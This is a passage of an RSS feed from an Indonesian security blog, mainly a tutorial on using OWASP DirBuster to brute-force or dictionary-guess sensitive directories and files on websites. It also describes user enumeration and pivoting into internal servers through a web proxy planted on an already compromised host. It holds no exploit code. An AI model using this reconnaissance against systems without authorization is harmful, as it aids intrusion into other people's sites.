<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=ohweUHVhBJM:SDJ7CV3cSX8:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=ohweUHVhBJM:SDJ7CV3cSX8:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=ohweUHVhBJM:SDJ7CV3cSX8:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=ohweUHVhBJM:SDJ7CV3cSX8:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=ohweUHVhBJM:SDJ7CV3cSX8:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=ohweUHVhBJM:SDJ7CV3cSX8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=ohweUHVhBJM:SDJ7CV3cSX8:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=ohweUHVhBJM:SDJ7CV3cSX8:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/how-to/kupas-tuntas-ssh-tunneling/feed/</wfw:commentRss>
		<slash:comments>30</slash:comments>
		</item>
		<item>
		<title>Berburu Direktori dan File Sensitif dengan DirBuster</title>
		<link>http://www.ilmuhacking.com/web-security/berburu-direktori-dan-file-sensitif-dengan-dirbuster/</link>
		<comments>http://www.ilmuhacking.com/web-security/berburu-direktori-dan-file-sensitif-dengan-dirbuster/#comments</comments>
		<pubDate>Wed, 05 May 2010 07:16:38 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Web Security]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2123</guid>
		<description><![CDATA[Mungkin anda akan terkejut bila mengetahui bahwa ada banyak website yang berhasil dihack/dideface hanya karena sebuah kesalahan &#8220;konyol&#8221;. Tidak dibutuhkan keahlian programming, SQL atau jurus njelimet lainnya, cuma membuka sebuah direktori yang berisi file-file sensitif, maka sebuah website akan bertekuk lutut. Ya benar, ini adalah fakta yang seringkali terjadi. Direktori Sensitif Semua direktori atau file [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Mungkin anda akan terkejut bila mengetahui bahwa ada banyak website yang berhasil dihack/dideface hanya karena sebuah kesalahan &#8220;konyol&#8221;. Tidak dibutuhkan keahlian programming, SQL atau jurus njelimet lainnya, cuma membuka sebuah direktori yang berisi file-file sensitif, maka sebuah website akan bertekuk lutut. Ya benar, ini adalah fakta yang seringkali terjadi.</p>
<p><strong>Direktori Sensitif</strong></p>
<p style="text-align: justify;">Semua direktori atau file yang mengandung informasi berguna buat hacker untuk mendeface website anda, maka direktori itu termasuk sensitif. Beberapa direktori atau file yang tergolong sensitif antara lain:<span id="more-2123"></span></p>
<ul>
<li>Backup</li>
</ul>
<p style="text-align: justify;">Hal yang biasanya dibackup adalah database dan source script webnya. Bayangkan apa yang terjadi bila hacker berhasil mendapatkan seluruh file php dan &#8220;database dump&#8221; dalam satu file zip? Kalau anda berpikir itu tidak mungkin terjadi, anda salah besar, karena saya sering menemukan file backup berekstensi zip, tar.gz, atau sql berserakan di websitenya.</p>
<ul>
<li>Halaman Login</li>
</ul>
<p style="text-align: justify;">Ada banyak macam halaman login, umumnya adalah halaman login untuk mengelola isi website, yaitu CMS Administrator. Selain CMS, halaman login yang lain adalah phpMyAdmin, cpanel, Tomcat Admin Page, AXIS2 Admin Page dll. Tomcat dan AXIS2 adalah Java based webserver dan web service platform.</p>
<p style="text-align: justify;">Kenapa halaman login termasuk sensitif? Karena dengan mengetahui URL untuk menjadi Administrator website, seorang hacker bisa melakukan serangan SQL Injection, password guessing, dictionary attack dan brute force attack untuk membuat dirinya menjadi seorang administrator di website anda. Celakanya banyak website yang halaman login adminnya tidak menggunakan password yang kuat, bahkan menggunakan password default.</p>
<ul>
<li>Log file</li>
</ul>
<p style="text-align: justify;">Log file biasanya dipakai untuk tujuan debugging atau penelusuran kesalahan oleh web developer. Karena itu tidak heran bila dalam log file banyak mengandung informasi sensitif yang bisa dimanfaatkan hacker. File log ini berbeda-beda tergantung dari web aplikasi yang dipakai karena web developer punya kebebasan untuk membuat  atau tidak membuat file log.</p>
<p style="text-align: justify;">Salah satu contoh log file yang biasa ditemukan di web adalah WS_FTP.LOG, file ini dibuat oleh program WS_FTP, yaitu FTP Client. Setiap kali memakai program ini untuk upload ke web anda, WS_FTP akan otomatis memasukkan file WS_FTP.LOG ke dalam folder website anda. Dalam file WS_FTP.LOG ini seorang hacker bisa mendapatkan banyak informasi sensitif: antara lain IP address web server anda (banyak web yang menyembunyikan IP address sebenarnya dibalik NAT), full path lokasi document root web anda, username account hosting anda (bila dalam full path mengandung nama seperti /home/username/&#8230;./).</p>
<p style="text-align: justify;">WS_FTP.LOG juga bisa membocorkan isi sebuah direktori bila anda sudah mematikan fitur &#8220;Directory Indexing&#8221; atau membuat file index.html kosong. Seorang hacker yang tidak bisa melihat isi direktori karena directory index dimatikan atau ada file index.html kosong, bisa mencoba membuka WS_FTP.LOG di direktori itu. Bila ternyata file WS_FTP.LOG ada, maka file log itu akan membocorkan isi file dalam direktori tersebut.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/nodirectoryindex.png"><img class="aligncenter size-full wp-image-2126" title="nodirectoryindex" src="http://www.ilmuhacking.com/wp-content/uploads/2010/05/nodirectoryindex.png" alt="" width="455" height="105" /></a>Pesan error di atas umumnya dijumpai pada direktori yang ada, tapi directory indexing tidak diaktifkan, sehingga anda harus menebak nama file yang ada di direktori tersebut. Bila directory indexing diaktifkan, maka anda akan menemukan halaman dengan title &#8220;Index of /&#8221;.</p>
<ul>
<li>Versi Lama</li>
</ul>
<p style="text-align: justify;">Terkadang ketika sebuah website diupdate ke versi baru, file-file script lama disimpan dalam satu direktori bernama oldversion, version1 dan versi barunya dalam direktori /new/ atau /ver2/ atau /beta/. Menemukan beragam versi suatu web adalah kesempatan emas untuk menemukan celah keamanan karena biasanya web versi terbarunya memang tidak mengandung kelemahan, namun bila kita berhasil menemukan versi lamanya, akan ditemukan banyak celah keamanan.</p>
<p style="text-align: justify;">Saya pernah menemukan sebuah website yang securitynya bagus, saya tidak menemukan vulnerability di sana, namun ternyata dia lupa membuang versi lama dari web tersebut. Namun ternyata web versi lama yang mengandung banyak bug dari SQL injection sampai local file injection masih bisa diakses di direktori lain. Walaupun web versi terbaru securitynya bagus, namun jadi tidak berarti apa-apa karena hacker bisa menyerang dari web versi lamanya.</p>
<p style="text-align: justify;"><strong>Berburu Direktori dan File Sensitif<br />
</strong></p>
<p style="text-align: justify;">Nama direktori atau file bisa ditemukan dengan 2 cara:</p>
<ul>
<li>Crawling</li>
</ul>
<p style="text-align: justify;">Crawling ini adalah cara yang dipakai oleh search engine untuk mendapatkan isi website anda.  Ini adalah cara yang &#8220;sopan&#8221;, karena kita hanya mencari apa yang memang disediakan oleh pemilik webnya. Search engine crawling akan mengikuti direktori apa yang boleh dan apa yang tidak boleh diambil dalam file /robots.txt. Jadi bila ada direktori sensitif yang bisa di-search di Google, maka itu terjadi karena di suatu situs ada pointer ke obyek itu berupa link. Bila di seluruh jagat internet ini tidak ada satupun link ke direktori itu, maka tidak mungkin direktori itu muncul di Google.</p>
<p style="text-align: justify;">Kita bisa memanfaatkan Google Hacking untuk mencari direktori sensitif  yang sengaja atau tidak sengaja ter-index oleh Google. Kita juga bisa membuat script atau memakai program semacam wget untuk melakukan crawling website  (tidak memanfaatkan Google index). Menjalankan crawler sendiri terkadang diperlukan bila kita ingin melakukan crawling direktori yang search engine dilarang untuk masuk (diblacklist di /robots.txt).</p>
<ul>
<li>Guessing</li>
</ul>
<p>Bila dengan cara sopan tidak mendapatkan direktori sensitif, maka kita terpaksa pakai cara &#8220;kasar&#8221;. Mendapatkan direktori sensitif dengan cara ini sama dengan menebak password. Ada dua cara yang bisa dipakai:</p>
<ol>
<li>Pure Brute Force Attack</li>
<p style="text-align: justify;">Cara ini adalah cara yang paling kasar. Kita mencoba semua kemungkinan kata yang muncul dari huruf , angka dan karakter lain sebagai nama direktori atau nama file. Contoh: request /aa/, lalu /ab/, lalu /ac/, lalu /ad/, demikian seterusnya sampai semua kemungkinan yang ada dicoba. Cara ini membutuhkan waktu yang sangat lama, jadi kurang efektif. Tapi kelebihannya adalah tidak ada direktori yang lolos, karena semua kemungkinan akan dicoba.</p>
<li>Dictionary Attack</li>
<p style="text-align: justify;">Ini adalah cara yang lebih sopan dibanding pure brute force. Kita menggunakan kamus, yaitu kumpulan nama yang akan kita pakai untuk request ke web server. Efektif tidaknya cara ini tergantung dari bagaimana kualitas kamus yang dipakai. Semakin baik kualitas kamusnya, semakin besar kemungkinan berhasil mendapatkan direktori sensitif. Kamus yang baik adalah kamus berisi kata yang memang benar-benar pernah dipakai untuk nama direktori, jadi bukan nama fiktif atau karangan.</p>
</ol>
<p><strong>DirBuster dari OWASP</strong></p>
<p style="text-align: justify;">Dalam artikel ini saya akan menggunakan tools gratisan, <a href="http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project">DirBuster</a> yang dibuat oleh OWASP (Open Web Application Security Project), sebuah kelompok non-profit yang berfokus pada keamanan web. Seperti yang sudah saya katakan sebelumnya, kekuatan tools semacam ini tergantung pada kualtias kamus yang dimilikinya.</p>
<p style="text-align: justify;">DirBuster memiliki kamus yang sangat lengkap, bukan nama fiktif yang tidak pernah dipakai, tapi memang benar-benar nama yang pernah dipakai sebagai nama direktori. Kumpulan nama ini didapatkan dari internet dengan cara melakukan crawling terhadap situs-situs internet lalu mengelompokkannya. Kumpulan nama yang dipakai minimal 3 situs berbeda ditaruh di file dengan akhiran small.txt, kumpulan nama yang dipakai minimal 2 situs berbeda ditaruh di file dengan akhiran medium.txt, dan semua nama yang ditemukan ditaruh dalam file berakhiran big.txt.</p>
<p style="text-align: justify;">Bila anda membutuhkan daftar nama direktori saja untuk dipakai di program lain, anda juga bisa mendownload kamusnya saja tanpa harus mendownload DirBuster.</p>
<p style="text-align: left;">Tools ini sangat mudah digunakan, jadi silakan saja langsung <a href="http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project#tab=Download">download DirBuster</a>. Sebelumnya pastikan dulu komputer anda sudah terinstall Java, karena tools ini dibuat dengan Java.<a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_main.png"></a></p>
<p style="text-align: left;"><strong>Scanning Type</strong></p>
<p style="text-align: justify;">Ada dua jenis scanning yang bisa dilakukan, pure brute force atau dictionary based attack. Bila anda memilih memakai teknik pure brute force, maka anda harus menentukan character set (kumpulan karakter) yang akan dijadikan nama direktori dan tentukan juga panjang minimal dan maksimalnya. Semakin besar populasi dari character set yang anda pilih dan semakin panjang max length yang anda pilih, semakin besar kumpulan kata yang dihasilkan, itu artinya dibutuhkan waktu yang semakin lama untuk mencoba semuanya. Gambar di bawah ini adalah screenshot ketika memilih pure brute force.</p>
<p style="text-align: left;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_brute.png"><img class="aligncenter size-full wp-image-2134" title="dirbuster_brute" src="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_brute.png" alt="" width="538" height="175" /></a></p>
<p style="text-align: left;">Bila memilih list based brute force, maka kita harus memilih file berisi daftar nama direktori. DirBuster sudah menyediakan banyak dictionary yang bisa dipilih sesuai kebutuhan:</p>
<ul>
<li>directory-list-2.3-small.txt  (87650 words) : Minimal dipakai di 3 situs berbeda.</li>
<li>directory-list-2.3-medium.txt  (220546 words) : Minimal dipakai di 2 situs berbeda.</li>
<li>directory-list-2.3-big.txt  (1273819 words) : Minimal pernah dipakai.</li>
<li>directory-list-lowercase-2.3-small.txt  (81629 words) : Versi case insensitive dari directory-list-2.3-small.txt</li>
<li>directory-list-lowercase-2.3-medium.txt  (207629 words) : Versi case insensitive dari directory-list-2.3-medium.txt</li>
<li>directory-list-lowercase-2.3-big.txt  (1185240 words) : Versi case insensitive dari directory-list-2.3-big.txt</li>
<li>directory-list-1.0.txt  (141694 words)  : Daftar awalnya, tidak terurut</li>
<li>apache-user-enum-1.0.txt  (8916 usernames) : Dipakai untuk user enumeration, mendapatkan valid username di sebuah server</li>
<li>apache-user-enum-2.0.txt  (10341 usernames) : Dipakai untuk user enumeration</li>
</ul>
<p style="text-align: justify;">Dalam list yang disediakan DirBuster juga menyediakan daftar username yang dipakai untuk user enumeration, yaitu mendapatkan nama user yang valid di sebuah server. Dalam web server Apache yang mengaktifkan mod_userdir, bisa dilakukan user enumeration dengan cara menggunakan ~namauser sebagai nama direktori.</p>
<p style="text-align: justify;">Gambar di bawah ini adalah screenshot ketika kita memilih menggunakan dictionary attack.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_dictionary.png"><img class="aligncenter size-full wp-image-2136" title="dirbuster_dictionary" src="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_dictionary.png" alt="" width="709" height="84" /></a></p>
<p style="text-align: justify;"><strong>Starting Options</strong></p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_standard.png"><img class="aligncenter size-full  wp-image-2137" title="dirbuster_standard" src="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_standard.png" alt="" width="536" height="86" /></a></p>
<p style="text-align: justify;">Pilihan lain yang harus dipilih adalah starting options, yaitu di mana titik mulainya DirBuster mencari direktori. Pilihannya adalah standard start point, atau URL Fuzz. Standard start point adalah pilihan yang paling banyak digunakan karena pilihan ini berarti kita meminta DirBuster untuk menggunakan nama direktori sebagai titik awal.</p>
<p style="text-align: justify;">Pilihan yang ada ketika kita memilih Standard Start Point adalah checkbox Brute Force Dirs yang bisa dimatikan bila kita tidak ingin ingin membrute Direktori. Brute Force Files bisa dimatikan bila kita tidak ingin mencari file. Dua pilihan tersebut bisa diatur sesuai kebutuhan, apakah ingin mencari direktori dan nama file, atau direktori saja, atau nama file saja.</p>
<p style="text-align: justify;">Pilihan File extention bisa diisi dengan ekstensi file yang ingin dicari, misalnya bisa kita isi dengan php, zip, gz, tar.gz. Namun bila kita tidak ingin menggunakan ekstensi, kita bisa centang pilihan Use Blank Extention.</p>
<p style="text-align: justify;">Pilihan Be Recursive digunakan untuk membuat DirBuster melakukan pencarian secara mendalam (Deep First Search), yaitu mencari subdirektori dalam sebuah direktori, mencari sub-subdirektori dalam subdirektori dan seterusnya sampai kedalaman tertentu.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_urlfuzz.png"><img class="aligncenter size-full wp-image-2138" title="dirbuster_urlfuzz" src="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_urlfuzz.png" alt="" width="452" height="147" /></a>Ada kalanya kita harus membrute force nama direktori yang merupakan bagian dari parameter URL. Dalam kasus seperti itu kita bisa memakai pilihan URL Fuzz. Salah satu contoh kasusnya adalah ketika kita ingin melakukan scanning melalui sebuah web based proxy seperti <a href="http://sourceforge.net/projects/poxy/">PHPProxy</a>.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_proxy.png"><img class="aligncenter size-full wp-image-2140" title="dirbuster_proxy" src="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_proxy.png" alt="" width="443" height="228" /></a>Ketika kita ingin scanning website internal dengan IP address private dari website public yang sudah berhasil kita susupi, kita bisa gunakan PHProxy. URL PHProxy biasanya berbentuk http://somewebsite/myproxy/?q=http://situstarget/{dir}. Dalam kasus seperti ini, pilihan URL Fuzz bisa sangat berguna. Gambar di bawah ini menunjukkan skenario tersebut. Setelah seorang hacker berhasil menguasai web server public, dia akan mengupload web based proxy seperti PHProxy. Dengan proxy tersebut hacker bisa melebarkan serangannya ke arah dalam dengan menyerang web server internal yang tidak bisa dijangkau dari internet.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_proxy_scenario.png"><img class="aligncenter size-full wp-image-2143" title="dirbuster_proxy_scenario" src="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_proxy_scenario.png" alt="" width="489" height="379" /></a></p>
<p style="text-align: justify;">Walaupun tools ini sangat sederhana, tapi jangan remehkan keampuhannya. Silakan coba saja sendiri, mungkin nanti anda akan terkejut melihat banyaknya webmaster yang sembrono menaruh file/direktori sensitif di websitenya.</p>
<p style="text-align: justify;"><img src="file:///C:/DOCUME~1/parhan/LOCALS~1/Temp/moz-screenshot-2.png" alt="" /></p>
<p style="text-align: justify;">
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 1883px; width: 1px; height: 1px; overflow: hidden;">http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project#tab=Download</div>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=TYShLk9OnvU:OxCgT8j7wlo:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=TYShLk9OnvU:OxCgT8j7wlo:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=TYShLk9OnvU:OxCgT8j7wlo:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=TYShLk9OnvU:OxCgT8j7wlo:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=TYShLk9OnvU:OxCgT8j7wlo:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=TYShLk9OnvU:OxCgT8j7wlo:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=TYShLk9OnvU:OxCgT8j7wlo:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=TYShLk9OnvU:OxCgT8j7wlo:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/web-security/berburu-direktori-dan-file-sensitif-dengan-dirbuster/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
	</channel>
</rss>

